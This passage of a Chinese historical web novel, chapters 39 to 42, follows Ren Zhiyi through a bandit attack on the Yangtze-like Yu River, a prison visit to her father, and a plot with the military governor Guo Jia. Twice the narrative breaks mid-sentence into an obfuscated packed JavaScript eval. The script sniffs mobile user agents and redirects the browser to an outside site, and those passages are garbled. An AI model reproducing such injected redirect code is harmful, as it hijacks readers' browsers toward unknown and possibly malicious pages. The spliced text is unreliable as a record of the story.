39. 遇袭 天色空蒙，绿水澄澈。 烫金色的龙骧福船长约十丈，艉楼三层，高桅上白帆迎风，蛇头浮雕昂立船艏，侧身刻着海浪纹，击水而行，宛如一条破浪的金龙。 推开舲窗，江风拂面，两侧峭壁千仞，渐渐显出山南道府的风貌。 韩家的船速度快，不过短短两日，便将要到睢州地界。 韩少初慵懒半坐，轻摇折扇，身后跪着两个妙龄的美貌侍女，一个捶背，一个捏肩。 “考虑好了吗？” 临窗的姑娘纤手轻拂鬓发，一弯远山含黛之眉轻蹙，渝江雾气氤氲，似将鸦黑青丝蒙上一层水雾，轻盈而明秀。 她丹唇微启，“若我说不答应，韩公子会不会将我扔下船？” “哈哈……”，韩少初笑得华艳，“任姑娘是我韩家的座上宾，生意不成，仁义还在！姑娘多虑了！” 任知宜思忖，此行去见郭嘉，有韩少初在，不至于将她拒之门外。只是不知郭嘉此人心性如何，若是执意磋磨她爹…… 正沉思之际，船身轻微颠簸了少许。 宝珠进到舱内，“小姐，前面有艘船，拦下了咱们的去路。” “什么人？” “我看着像是郓人。” 任知宜神色一冷，走到船头的甲板上。 对方十几人，站在楼船船艏，浓眉深目，皮肤黝黑，单衣束裤，胸前半裸，露出强健的肌肉和浓密的胸毛。 看到舱内走出个清雅绝伦的小娘子，郓人们满眼放光，露出垂涎之意。 韩少初尾随其后。 冶艳昳丽的男子姿容亦让郓人们惊了一瞬，随即大笑道：“快看那男人！长得比咱们郓国的女子还要妩媚动人，一并抢回去得了！” 韩少初大怒，他生平最讨厌别人取笑他的容貌。 这些人该死！ 任知宜扯住他的袖子，“他们是郓国游窜到大胤的盗匪，专门掳劫过往客商，身上有刀剑弓弩。” “哼！”韩少初眯着眼睛，数了数对面的人数，咬牙恨声道：“郓国居然敢如此嚣张！” 任知宜不理会他的少见多怪，心中亦生出疑虑，郓人一向都是在陆上抢掠，什么时候开始进入渝江的？渝江连通山南道各州，可是大胤的要塞。 “怎么办？”韩少初问道。 四处山壁空静，悄无人烟。 任知宜沉静半晌，“船上还有多少财物？” “现银有五千两，另外还有给姑丈准备的两箱财物，若是都被这些郓人掠走，我可不能保证能救出你爹。” 对面的几个郓人叫嚣着抽出长刀，正要冲过来。 “宝珠！”任知宜高声喊道。 宝珠飞身一跃至桅杆上，手中双刀寒光一闪，飞了出去，堪堪钉在那几个郓人脚下，嗡嗡作响。 郓人惊得退后两步，面色大变。 任知宜缓缓开口：“诸位，我家丫鬟功夫极高，若是真刀真枪地对战，你们也避免不了死伤，不如我们献上白银五千两，诸位今日放我等一马。” 郓人为人粗犷，色厉内荏，崇尚武力，越是弱小之人，越喜欢欺负；而且他们短视贪利，她故意让宝珠显出实力，希望能威慑住他们。 郓人果然犹豫不决，为首的汉子双目阴沉地望着任知宜，“除了五千两现银，船上还有没有更多的财物？” “我告诉你们！这是济州韩家的船！”韩少初背手而立，眸色轻狂，“你们郓国皇室的丝衣皆是采自我韩家的织造，这件事想必你也听说过吧。” 这些郓人并不是真正的盗匪，只是在郓国官府的默认之下，进入大胤边境。 济州韩家常年与郓国做生意，保不齐认识什么朝廷权贵，犯不着得罪狠了。 领头人眼珠子转了转，“只有五千两现银？” “你还想要什么？” 汉子阴恻恻地笑了笑，“今日没有得到美人儿，兄弟们怎么能甘愿？” 他眼神猥琐，直勾勾地盯着任知宜瞧了半晌，双目露出几分遗憾，他指着韩少初身后的侍女道：“五千两现银，再送我们四个女人，今日这事儿就算了！” 侍女们吓得花容失色，梨花带雨，登时跪了下来，哆哆嗦嗦道： “求少爷不要……” “少爷，不要送我……” 韩少初目色沉沉，若将这四个侍女送出去，她们便再无可能返回大胤，加之郓人残暴，对女子毫无怜惜…… 任知宜低声道：“今日恐不能善了，还是将那两箱财物一并给他们！” 韩少初点了点头。 “人不能带走！我们再加两箱财物，只要放我们所有人离开，船上所有值钱的东西都给你们！” “你们这些胤人！送几个卑贱侍女，竟然还敢叽叽歪歪！”领头人面露阴狠，“我的条件，少一个都不行。” “那就没什么好谈的了！”任知宜的声音轻飘飘的，像是被江风一吹即散。 身后诸人俱皆浑身一震。 众人下意识地望向韩少初那张姿容绝艳的脸。 韩少初高声朗朗，“是大胤男儿的，便站出来！护院在前，侍从在后，所有女子退到船舱中。” 侍女们的泪珠儿挂在脸颊上，惊讶地忘记了哭泣，只是怔怔地看着自家少爷。 对面的郓人站出一排，长弓拉满，箭尾抵住弓弦，直指任知宜和韩少初蓄势待发。 几个郓人重新拿起长刀，一步一步地走近。 任知宜手指发凉，微微颤动着。 幼时差点被郓人掳走的恐惧再次袭上心头，她能想象出，她们这些女子落到郓人手中的下场。 她站在艉楼门前，眸色幽黑，似有墨云翻涌，“宝珠，你有几成把握？” “小姐，若只是刀剑相斗，我有九成把握能打退他们；只不过……”宝珠顿了一下，拧着眉头道：“麻烦的是那排弓弩手，一旦箭矢齐发，我最多能护住小姐一人。” 韩少初站在甲板上，迎风厉声喝道：“我是韩家下任家主，若我今日命丧于此，韩家必倾尽全力，绝不会放过你们。” 这几句狠话让其中几个郓人微微犹豫，疾走的脚步一顿。 两船轻碰，郓人的楼船轻轻地晃动了一下。 任知宜远远地观察着那些弓弩手，双眸闪过一抹幽光。 “宝珠！”她低声吩咐道：“郓人极少坐船，水性很差，刚才船只轻晃，那些弓弩手几乎不能站稳，你从水下游过去，想办法将他们弄下水。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127518|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小姐，我担心你……” 任知宜正色道：“我会躲在最后面，你快去！这是我们唯一的生机。” 郓人挥刀跳上船，见人即狠劈下去，韩家护院平日里甚少经历如此血腥，慢了一瞬，便被生生砍下头颅。 后面的弓弩手齐齐拉弓，箭矢离弦，飞跃平静的江面，射入胸膛。 护院纷纷倒下，露出韩少初的身影。 一人瞅准时机，猛地一跃扑将上来，拽倒了韩少初，强壮的手臂箍住他的后颈。 韩少初抽出短匕，回身猛刺过去，鲜血飞溅入目。 他寻得喘息，退到艉楼。 任知宜瞥见他满脸血污，纤细的手指掐入掌心，声音涩然，“一会儿，你告诉他们，以你为质，可勒索韩家二十万两白银。” 韩少初一怔。 任知宜敛袖，伏拜于地，“韩公子若能逃出生天，求你救我爹出来。” 韩少初抹去眼角的血，瞧见任知宜面色平澜，袖中藏握簪之手，像是怀了必死之志。 不多久，韩家诸人皆被制住。 领头人笑着跳上福船，一脚踩在韩少初的背脊上，“早送几个侍女不就好了！” 骨折的痛意袭来，韩少初缓了口气，“你先不要杀我们，三日内，我让韩家送二十万两白银过来。” 任知宜说得对，自请为质，还有一线生机，总好过身首异处。 领头人笑得张狂。 此时，楼船底下的水中冒出一个头，宝珠在船底猛地一拉，船身剧烈晃动，七个弓弩手陆续被掀翻入江。 接着，宝珠猛地扎入水中，趁他们扑腾呼救之时，一刀刺死一个。 江水被血染成了红河。 宝珠跃出水面，身上的血水一滴一滴地落在甲板上，长剑出鞘，肃肃光寒。 领头人惊吓，长刀架在韩少初的脖颈前，“你再向前一步，他就会死于我剑下。” 郓人以为宝珠是韩家的人，以韩少初为威胁，最为有利。宝珠看她家小姐的眼神似乎是想保住韩少初。 她立在原地不动。 两相僵持之际，一道箭矢破空而出，落在甲板上。 黑色玄羽箭，箭镞乃是杀伤力极强的三棱箭头，这是大胤的军箭。 领头人朝远处望去，一艘楼船朝着他们的方向驶来，旌旗飘摇，黑底白字，旗縿上的“郭”字在日光下闪耀。 这是山南道节度使郭嘉的军船。 韩少初吐出一口淤血，潋滟一笑，“节度使是我姑丈，军船上起码有两百兵士，现在不跑，就来不及了。” 领头人双目阴鹜，眼见楼船渐近，扔下长刀，带着手下离开。 众人劫后余生，瘫倒在地。 浓重的血腥味儿飘散在整个江面上，船上横陈着几具尸体，处处血迹斑斑。 任知宜松开手，将簪子重新插回发髻中。 楼船架起舢舨，执戟军士分列两旁，郭嘉迎着众人的目光，从板上缓缓而来，身着甲胄，手执长弓。 显然，刚才的远射之箭是他射出的。 郭嘉面容端肃，双目炯炯，不怒自威。 他环顾四周惨烈之景，开口问了一句。 “带来的财物可有被郓人掳走？” 40. 心思 睢州节度使府 琶音切切，如珠玉落盘。 阁楼高台上，大红色的裙影圈圈旋舞，如同一团盛开的火红莲。 韩少初半倚在烟罗软榻上，欣赏弦歌曼舞，一旁的侍女将剥好的葡萄放入他口中，清甜而多汁。 “韩公子好生惬意，胸骨的伤都好了？”清淡的声音自身后传来。 韩少初下巴微抬，笑道：“人生得意须尽欢，若不然哪天突然死了，却未好好地享受，岂不遗憾？任姑娘，你说是不是啊？” “……” 任知宜薄唇微抿。 韩少初看似荒唐不羁，却是个行事极有章法，胸有城府之人。 昨□□退郓人之后，他与郭嘉浅谈片刻，郭嘉便同意她住进节度使府中。 可是，后来她几次单独求见郭嘉，却被拒绝。 “韩公子可否为我引见郭节度使？” 韩少初翻了翻眼皮，笑得潋滟，“之前我就向姑娘提了要求，你也是个生意人，应该明白我韩家不会做赔本买卖。” 任知宜目色微凝，思忖片刻。 “先让我见父亲一面，算是韩家的诚意，我会认真考虑你的提议。” 韩少初笑了笑，递出一枚腰牌，“狱房在后院西南，亮出这个腰牌，便能进去。” 当她伸手去拿，韩少初却猛然顿了手。 任知宜明眸阗黑。 “我想提醒姑娘。”韩少初斜睨着她，懒懒地倚靠着软垫，“你我也算是曾共过患难的朋友，希望将来你我依然是友，非敌。” 任知宜接过腰牌，面无表情。 东西攥在掌心里，如玄铁般漆黑，冷硬坚实，好似这偌大的节度使府。 昨日在船上，她看得分明，郭嘉为人冷血无情。他们之所以能安稳地留在府中，靠得是韩少初带来的那两箱财物。若没有极大的利益，郭嘉不会放过父亲，韩家亦不会帮她。 —— 数月不见，狱中的任平面容愈瘦，头发散乱，下巴上长出些许短白胡茬。 “爹！” 任知宜扑到他怀里，泪水滚落，簌簌不止。 她哽咽地一句话也说不出来，只是握紧父亲宽厚的手掌，片刻都不愿松开。 “知宜，你怎么会在这儿？你是怎么进来的？” “此事说来话长。爹，您身体如何，夜里还会咳得睡不着吗？” 任平轻拍胸脯，表示自己身体不错，“之前吃过几副药，早就好了；眼下天气转热，更是无碍。” 任知宜稍稍安心，复又愧悔自责，“女儿不孝，应该早点回来。” “你能有什么办法啊？”任平抚着女儿的鬓发，神情复杂，“之前，刑部徐大人来查我的案子，讲了很多你在京城发生的事，都是真的吗？” “女儿刚被封六品待诏女官，算是东宫一派。”任知宜简单解释了一番。 她见父亲拧眉，“您不赞同女儿做东宫幕僚？” 任平长叹一声，“爹知道你是为了救我才入京，可是朝堂波云诡谲，岂是你一介女子能参与的。咱家在京城毫无根基，你孤身一人搅入朝堂，必是千难万险。如此冒险行事，还不如为父自行认罪，任朝廷判我个流放。” “流放他乡，九死一生。”任知宜眸色一冷，寒声道：“我绝不会让这种事发生。” 任平怔怔地望着她。 短短数月不见，自己女儿眉目凛冽，身上竟多了几分上位者的杀伐之气。 她没有注意到父亲的微妙神情，兀自沉吟思索。 郭嘉此人，性情刚硬冷酷，之前故意为难徐志，后又将父亲转移至睢州，应该是想带着父亲进京述职，将粮仓被盗的全部责任归咎于父亲。 此罪原本可大可小，可若是进京，便是死路一条。 她心念一转，低声问道：“爹，这件案子有没有可能是郭嘉所为？” 任平愕然，摇了摇头，“我与节度使素无恩怨，只是因为支粮有过几次不愉快，不至于特意构陷；更何况，粮仓被盗，正赶上山南道军费吃紧，做下此案于他有何益处？” “山南道为何军费吃紧？” 任平叹了口气，“朝廷担心地方节度使权力过大，一直在削减军费。这十几年来，郓人进入灵州，多为小范围的骚扰侵乱，所以朝廷并不重视，一不派钱，二不派粮，所以郭嘉经常借军支干预各州财政。” 任知宜点点头。 郭嘉缺军费，韩家有财力。 若她答应襄助韩家，破案过程中便不会再有郭嘉这个阻力。 若这么推测，之前徐志铩羽而归，便是郭嘉在投石问路，他是在等待京城局势明朗之后，再选择合适的结盟对象。 任知宜问道：“爹，郭嘉此人风评如何？” “听闻他治军冷酷，且刚愎自用，好战喜功。” 她又问：“那张支粮单在哪儿？” “案子涉及的证物都已移交过府，支粮单应该在郭嘉手中。” “爹，女儿明白了。”任知宜缓缓道：“您再忍耐几日，我已经想到救您出去的法子了。” 任平慌忙拉住她，“知宜啊，你可千万不要胡来啊。” 她并未向父亲多做解释。 父亲为人清正，脑子里全是忠君爱民，不熟悉朝堂利益倾轧，若知道她的想法，反倒平添烦忧。 “爹！”任知宜眉色疏冷，“人各有所求，郭嘉有，我也有。我只求家人平安，有何不可？” ———— 是夜，雨落安州。 城门关闭，二三十个流民靠坐在城墙下，草席铺开，便是一方容身之地。 卫枢坐在一家酒肆中，望着外面灯火阑珊，街上行人稀少，步履匆匆。 一壶清酒，两只杯盏。 卫枢轻声道谢，“这么晚了，打扰店家歇息了。” 店家闻言一怔，颇有些受容若惊，“公子客气了。我与家人就歇在铺子后面，公子有什么吩咐，尽管喊一声就好。” 常年经营酒肆，南来北往的人见过不少，却从未见过似这位公子般清贵无双之人。 “公子是外乡人吧？” 卫枢淡淡一笑，“我以前算是安州人，只是离开这里很多年了。” 身后的暗卫眉宇微动，复又低下头。 “怪不得从未见过公子。” 店家望着他执盏品酒的样子，笑道：“公子喜欢我们这酒？” 卫枢的手微微一顿，缓缓道：“我父亲喜欢。多年前，他常带我来你们酒肆，一壶酒，三文钱，打上两壶，足够喝一个月。” 暗卫猛地抬头，面上难掩异色。 陛下到过安州？还会看得上这种小酒肆的酒？ 被旧主顾夸赞，店家喜地笑逐颜开，“令尊颇有眼光，我家祖上酿酒，到我已是第三代。” 卫枢缓缓问道：“店家，安州这些年的日子可还好过？” 他的声音清淡而温和，像一个归乡的游子在与家乡父老闲谈。 店家卸下心防，叹声道：“安州是王爷治下，除了税重些，还算是太平。我们小百姓也不奢求什么，家宅平安就是最大的福气啊。” “城墙下的流民是？” “那些都是从其他州县过来的，王爷仁德，常常搭棚施粥，收容外地来的流民。”店家右手一指，指向街西的草棚，“那就是王府搭的粥棚。” 卫枢神色清冷，“安州王真是爱民如子啊。” 店家呵呵一笑，并未反驳。 ———— 夜里疾风阵阵，吹得门框啷啷作响，屋内烛火昏黄，晦暗不明。 甫进屋内，即见案后白墙上挂着一幅大胤堪舆图，整个大胤的山川地脉所在，无不清楚明晰。 卫枢双眸一缩，目色沉沉。 安州王何卢起身相迎，爽朗大笑，“本王再三筵请，殿下终于来了。” 瞥见卫枢沉沉的视线落在堪舆图上，何卢笑了笑，阔臂一挥引他上前，“这幅图乃是陛下御赐，本王一直珍而重之。” 卫枢微微挑眉，想起当年听说过的一桩传言。 嘉以四年，骁骑将军何卢连复三城，斩下叛军大将的头颅。当时远离京城避难的皇帝听闻此事，惊喜交加，下旨嘉奖，并赐下一幅大胤堪舆图，希望他一鼓作气，重整河山。 后来，何卢军功赫赫，却在驱逐叛军之后，主动交出兵权，只保留一个王爷的虚名，多年来守着安州一方偏隅之地。 比起专权结党的景相，明争暗夺的节度使，野心勃勃的江南世族，安州王何卢保持着为人臣子的本分，难怪能得到帝后二人的赏 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却未料到，灵州粮仓被盗一案也是出自何卢之手。 卫枢眼睑微抬，清浅笑道：“孤与王爷已合作数次，如何会不信王爷。” “不过……”，他话音轻顿，“恕孤直言，王爷只是因为与郭嘉之间的一点私仇，便偷盗粮仓，王爷是不是有些太冲动了？” 提起旧事，何卢依旧面露恨意，“当年郭嘉害我痛失所爱，日夜难安，这十几年来，本王数次派出杀手都未能得手，这一次筹谋数月，竟也没能成功。” 他所说的“痛失所爱”，据传是十几年前何卢与郭嘉同时喜欢上一名女子，结果最后是郭嘉抱得美人归。 卫枢淡笑，“没想到王爷还是性情中人。不知……这三千石粮如今在何处？” 昏暗灯影下，何卢随手拿起利剪，轻轻剪掉烛芯。 “有粮无仓，留着反而是个祸害，本王便将其赈济了外地来安州的流民。” 卫枢幽幽叹道：“王爷真是爱民如子啊。” “殿下抬举。”何卢宽肩一挺，不卑不亢道：“只要殿下答应娶小女为太子妃，本王定会信守诺言，尽全力助殿下早登大位。” “王爷这么不遗余力地帮助孤，难道只是为了一个太子妃之位？” 何卢神色镇定，笑意不减，“本王自然也是希望在朝堂争一席之地，不过殿下是君，本王是臣，君臣本分，臣了然于胸。” 卫枢唇角轻抿。 冷风吹摇，微弱的烛火轻轻曳动，灯下暗影重重。 —— 歩出安州王府，夜雨渐歇。 卫枢走在稀落的街上，轻声问道：“撇掉灵州粮仓一案不提，你觉得安州王此人如何？” 身后暗卫一怔，方才反应过来太子问的人是他。 “属下愚钝，只能看出安州王是个处事低调，不喜奢靡之人。” “何以见得？” “王府中仆从甚少，皆穿着朴素，书房内陈设简单，烛台也仅燃三只。” 卫枢眸色深邃。 这几日，卫枢行过安州诸县，见过各式各色不同身份的人。 士绅商贾认为安州王礼贤下士，平易近人；乡间小民觉得他是个温和良善的父母官；逃亡的流民则认为他是天降的菩萨。 在安州王何卢的身上，似乎找不到任何可以指摘之处；甚至连他的暗卫，都觉得他处事低调，不喜奢靡。 可是…… 没有人知晓，数年前，他曾见过何卢。 那一夜，冲天的大火照得夜晚的天空红通通的，像被染了漫天的血。 何卢跨坐于高马之上，像一个掌握着生杀之权的杀神，居高临下地俯瞰着芸芸蝼蚁众生。 数百具刚刚被利剑刺穿，尚自温热的身体被士兵随意地扔在一个硕大的土坑里，杂乱无章地叠着，任烈火焚烧。 当混杂着腐臭的焦味飘散出来，赤红的火焰映照出何卢的脸庞，眼角纵横的笑纹透出他的志得意满。 那是卫枢第一次见何卢。 那段记忆像是被刀斧镌刻于他的脑海之中，挥之不去。 41. 相见 睢州城与灵州相似，三面环山，东临澍水，地势高低不平。 这里冬季不长，只要不遇冰冻时节，日子就不会太难捱，百姓过得还算安平。百姓靠天吃饭，常于江边捕鱼，山林狩猎，所以睢州百姓安家喜欢依山傍水。 澍水自瑜江上游而出，中途遇山势陡峻，改道汇水，继而在附近形成几个村落。 八步亭外，七八个妇人围聚在水边浣衣，有二三十岁的青春妇人，也有年长的大姐，皆头包花巾，身着薄褙。 “打扰一下，不知哪位是穆大娘子？” 一个三十几岁，头戴蓝巾的妇人茫茫然地抬起头来，瞧见任知宜一张面带微笑的芙蓉玉面，有些不知所措。 “是我，你是？” 任知宜绕过八步亭，走到她跟前福身见礼，脆生生地喊了声“表姨母”。 妇人吓了一跳，忙不迭问道：“你，你是？” “甥女姓任，小名阿宜。” 妇人又惊又喜，“莫不是雁表姐家的姑娘？” “嗳！是我。表姨母近来安好？母亲时常提起您。” “好，好，都好！”妇人激动得无以复加，想近前拉拉任知宜的手，又怕冒犯到这个清丽端雅的甥女。 虽是表姊妹，却也是不一样的出身。 妇人名叫兰芝，雁表姐是家里隔房的举人阿舅的女儿，知书达理，秀外慧中，后来又嫁了一位进士出身的朝官，是家中嫁得最好的姑娘。兰芝与雁表姐虽是一同长大，感情很好，可惜后来…… 兰芝想着，不自觉地将双手再一次放在两侧裙腰上，使劲擦了擦。 “我帮表姨母洗吧。” 任知宜径直走到水边，蹲身挽袖，手执捣杵，动作很是娴熟。 见她举止自然亲近，水边登时热闹了起来。几个妇人围着她，问长问短，任知宜落落大方，皆一一给予回应。 这份贴己让兰芝好生感动，初见的陌生都已消光散尽。 兰芝带任知宜回家。 “渴了吧？先喝点水。” 睢州山泉甘甜，入口清凉，沁人心脾。 “谢谢表姨母。” 见到姊妹的女儿，兰芝想起幼年无忧无虑的时光，既欢喜，又感伤，止不住地落下泪来。 “表姨母莫哭，母亲时常挂念您，只是一直没有您的消息，直到前年才知道您住在睢州的何家村。她一直念叨着见您一面，却未能成行。” 兰芝低着头，朝地上洒了些鸡糠碎儿，“哪能怪雁表姐，是我有意瞒着家里。” “为何？” 兰芝勉强挤出个笑容，“都是些陈年旧事，不提也罢。” 任知宜不欲提起她的伤心事，环顾四周笑笑道：“表姨母这院子收拾得真利落。” 墙角立着一处鸡笼，竹篾条编成的扁筐一排一排摞起，细绳上晾晒的鱼干归整的干净整齐，一眼便能看出这院子的女主人经营小家的用心。 “嗐……穷户人家有啥啊？就几个破瓮烂罐的。”兰芝笑得脸像是开了花，“不过，你表姨丈也常这么夸我。” 她像是想起什么，又补了一句，“对了！你表姨丈他是行伍中人，平日里住在山南道驻军营里，每隔二十天才回来一次，今日你应是见不到了。” 任知宜瞳眸闪了一下，“我知道，表姨丈是位军爷。” 兰芝没有注意到她这句话背后的意思，咧嘴笑道：“啥军爷啊？当了十几年的小火头，今年才做了个队正。” “不管如何，也是份军职。” 兰芝叹了口气，“有什么用！银饷时有时无，除了能给家里贴补些口粮，什么事儿也帮不上。家里大大小小里里外外都是我一个人在操持。若不是靠着我卖些竹筐、竹筥，日子哪里过得下去。” 任知宜静静地听了半天，“咱们大胤的军籍在州府，拖欠银饷之事，睢州刺史没有给个说法？” 兰芝怔了一下，似乎没明白她的意思。 任知宜道：“若是节度使有克扣军饷之举，咱们可以寻州刺史主持公道。” “这，这哪行？”兰芝连连摆手，“咱们小户人家，哪敢惹这等事儿。” “若真有此事，朝廷定会严惩。” 嘉以之乱前，节度使是掌控一道军政大权，可是叛乱之后，朝廷逐渐收拢权力，连军籍也是落在州府。 朝廷一直猜忌地方节度使拥兵自重，若是证据落实，她便可上奏朝廷，参郭嘉一个克扣军饷之罪。 兰芝面带忧色，“阿宜，姨母知道你是官宦出身，见解不凡，可是姨母要劝你一句，这世道多一事不如少一事，日子能过就行了。” “我明白，姨母。” 真切地感受到兰芝发自内心的关怀，任知宜心里暖融融的，“姨母……其实，我早知道姨丈是位军爷。” 兰芝怔怔地望着她。 “今日前来，除了代母亲来看望姨母，我还另有一件事想问姨丈，这件事若不是你们回答我，别人说的我都信不过。” “什么事？”兰芝声音发紧。 “关于节度使郭嘉。” 任知宜从灵州粮仓被盗讲起，将父亲身陷囹圄之事完完整整地讲了一遍。 听完，兰芝呆了良久，突然放声大哭起来。 “我，我可怜的雁表姐……”，兰芝抹着眼泪，“我还以为她过着官夫人的日子，整日养尊处优，当初还暗暗地嫉妒过她，却没料到她过得也是这般不顺意。戏文里都说了，朝廷里这些个杀千刀的官儿，没一个是好东西，整日里不是贪赃枉法，就是勾心斗角，最喜欢干些冤枉忠臣良将的事儿。” 听她骂了半天，任知宜哑然失笑，“姨母真是性情中人。” 兰芝不好意思地擦掉眼泪，“初时我不知道内情，既然事关姐夫的性命，阿宜你有什么想问的，尽管问，姨母绝不瞒你。” “姨丈在郭嘉军中十数年，他可有说过郭嘉的为人如何？” 不管是韩少初还是郭嘉的心腹副将，他们的话任知宜皆信不过。在她看来，只有跟随他军中多年的兵士才是真正有资格评判郭嘉的人。 兰芝认真想了想，“我觉得，郭将军人不错。” 任知宜惊讶，“何以见得？” “几年前，你姨丈被砍伤了右腿，当时郭将军亲自来家里送恤银，能做到这个的，还不是好将军？” 任知宜不以为然，“或许他只是做表面功夫。” “还有一桩。我记得有一段时间，郭将军声名极差，人人说他冷血残暴，一日之内竟随意斩杀四十名兵士。我也曾跟着邻舍骂过两回，结果被你姨丈听见，他狠狠地痛斥了我，说我是妇人之见，人云亦云，还说郭将军斩杀的都是扰乱军纪之人，莫要听那些长舌妇乱嚼舌根。我能察觉出来，你姨丈对郭将军还是颇为尊敬的。” “可是，听闻他刚愎自用，好战喜功。”任知宜蹙眉道。 兰芝闻言一怔，像是陷入到什么思绪之中，神情飘忽起来。 “姨母，姨母？” 两声轻唤，引她回神儿。 兰芝挣脱思绪，声音透出几分凝滞，“若说郭将军好战喜功，也是去打郓人，不管他是真心实意也罢，贪图军功也罢，这十几年来，若不是还有他守着，睢州早已是另一个灵州。” 说完，一行清泪，缓缓落了下来。 “姨母！”任知宜慌忙递上帕子，“说得好好的，怎地还哭起来了？” 情绪渐复，兰芝苦笑一声，“姨母想到些往事，有些失态。” 她悠悠叹道：“你可知，我为何会嫁到睢州？” 任知宜摇头。 以前，每次提及这位表姨母，母亲都会叹息良久，却从未说过原因。 兰芝道：“我十六岁那年，原本结了一门书香之家的好亲事，文定都过了，只等过门。谁知有一日，我去庙里祈福的路上，碰上一伙郓人，他们将我打晕掳走，和十几个姑娘关在一起。我几次逃跑，都被抓回去扒了衣服一顿毒打。 最后，我认命了。” 兰芝泪如雨落，“咱们女子被人掳走，不管清白与否，名声是彻底完了，永远回不去了。即使回到家里，也是家中的耻辱。郓人有一百种折磨人的方法，我当时心如死灰，想着与其去受折磨，还不如死了，一了百了。” “姨母。”任知宜紧握她的手。 “没事儿，我还算命不该绝。那伙郓人原本打算将我们卖到郓国，谁知运送的路上碰到一队山匪劫财。郓人被打跑以后，我们又被山匪带回了山寨。” 兰芝含着眼泪笑了笑，“你姨丈就是其中一名山匪，他们其实本来也是农户，逼不得已落草为寇，并未伤过人。我们十几个姑娘也不想回家，就这样留下嫁给了那些山匪。” “为何不想回家？” 兰芝长叹了一口气道：“那时候的我，觉得清白大过天，宁愿让家里以为我死了，也不愿让人指指点点。 前年，我实在想念爹娘，就托人传信回家，这才知道……”，兰芝捂着胸口，哭声颤得厉害，“我爹八年前就去世了，我实在是不孝……” “再后来，整个山寨就被郭将军收了编。你姨丈是个火爆性子，但是对我还不错，我也就跟着他在睢州安了家，生了两个儿子，如今他们都入了学堂读书。如今回头看看，我比起那些被卖去郓国的女子，已算是幸运了。” 任知宜默然半晌。 姨母心中终究是有遗憾的，她原本畅想的是嫁与一个读书人，相夫教子；如今的结局再好，却也是另一个人生。 兰芝咬着牙道：“所以，我生平最恨郓人。郭将军若要打郓人，他便是好将军。” 任知宜瞳眸一震，神情动容。 睢州人说郭嘉好战喜功，是因为睢州是山南道首府，百姓安平日子过得久了，不愿意打仗，但是，对于每一个灵州人来说，郓国都是最可怕的梦魇。 兰芝又道：“阿宜，你若不放心，我再给你姨丈去封信，详细问问他，明日便能得回信儿。” “多谢姨母。” 兰芝问：“我不懂，郭将军的为人与姐夫的案子有关联吗？” 任知宜心中暗忖，若郭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“且慢！”任知宜轻声道：“若我能解将军之急，还能证明我父亲是冤枉的，将军可愿意听我一言？” 郭嘉神情一顿，令身后侍卫暂时退下。 “东宫与韩家结盟了？” 此话尽是嘲意，郭嘉唇角轻勾，不带半分掩饰。 任知宜微怔。 原来，郭嘉并不像韩少初所说，与韩家勾连甚深，如此更好。 只不过，山南道连年上表郓国侵扰，朝廷却一直敷衍以对，以至郭嘉对朝廷颇为怨怼，连带着对她也极为厌烦。 说到底，放任郓人在大胤国土肆虐，归根结底，源头出自朝廷。 任知宜坦然一笑，“若东宫与韩家已结盟，今日便不是我独自一人来见将军了。” “不利用韩家？你还有什么办法？”郭嘉斜睨了她一眼。 任知宜轻声笑道：“切肤之痛，方得转机。” 阵风起，吹拂起她发间的青色丝带，飘若浮云流雪，衬得光洁如玉的面容愈发淡静从容。 “将军怕是忘了，瑜江北段连接着的什么？” 郭嘉眸色一变，“你是说……” “不错！”任知宜缓缓道：“瑜江北段连接的是朝廷中人最关心的运河。京城文臣权贵众多，衣食行商皆仰赖南来北往的运河，运河一旦滞停，京城会立刻陷入混乱。将军只要上表朝廷，言明郓人侵扰，阻滞河道输运，朝廷会立刻下拨军费。” 郭嘉轻扶腰间长剑，神色沉然。 “瑜江北段已出山南道地界，郓人虽偶有进入瑜江，却从未出过山南道。” 远处山峦起伏，罩于黑夜之中，看不分明。 任知宜心内暗赞，郭嘉看似勇武粗犷，实则城府颇深，明明心中已有谋算，却还非要借她的口说出来。 “来大胤作乱的郓人皆非官军，将军可诱引一艘郓人的楼船越过山南道，将他们尽数斩杀于瑜江北段，到时候自然会有其他州府急送六百里军情入京。” 诱杀郓人！ 以假作真！ 郭嘉转了转手臂，突然觉得用了多年的臂甲有些松了，是时候该换一套甲胄了。 “听闻靖南道流民作乱至应国，军费尚且拖延数月，此事真得能如姑娘想得这般顺利？” 任知宜盈盈一笑，“将军放心，我回京之后，必从中斡旋，尽快促成此事。” 他瞥了任知宜一眼，漫不经心道：“姑娘图什么？” 任知宜不卑不亢，坦然笑道：“首要之事自然是为我父亲昭雪冤屈，至于日后，知宜觉得，与将军合作的机会还多着。” 郭嘉看了她两眼，若有所思。 “你父亲的案子，本将给你三日时间证明他的清白。” 说完，又扔给她一枚令牌，“凭此令，所有案卷均可调阅，山南道内各关隘畅通无阻。” 任知宜诚然拜谢。 42. 惜别 调出案卷之后，任知宜最先核查的就是那张支粮单。 宝珠照着唐橘送的册子念出伪造之法，“伪造始于质地，先以透光、水浸查验纸张。纸张种类繁多，多以黄麻纸、桑皮纸和白麻纸最为常见……” 日光越过窗棂，洒在支粮单上，清晰地透出纸张原本的面貌。 纹理平顺光滑，毫无断层，质地是以黄檗汁制成的黄麻纸，确实是大胤文书的官方用纸，并无异样。 官署印钤盖的位置也无不妥。官印字体是云篆，字结圆滑，转笔之处皆与父亲的官印完全一致。 每个方面，都毫无破绽。 “任姑娘，宝珠姑娘，早啊。” 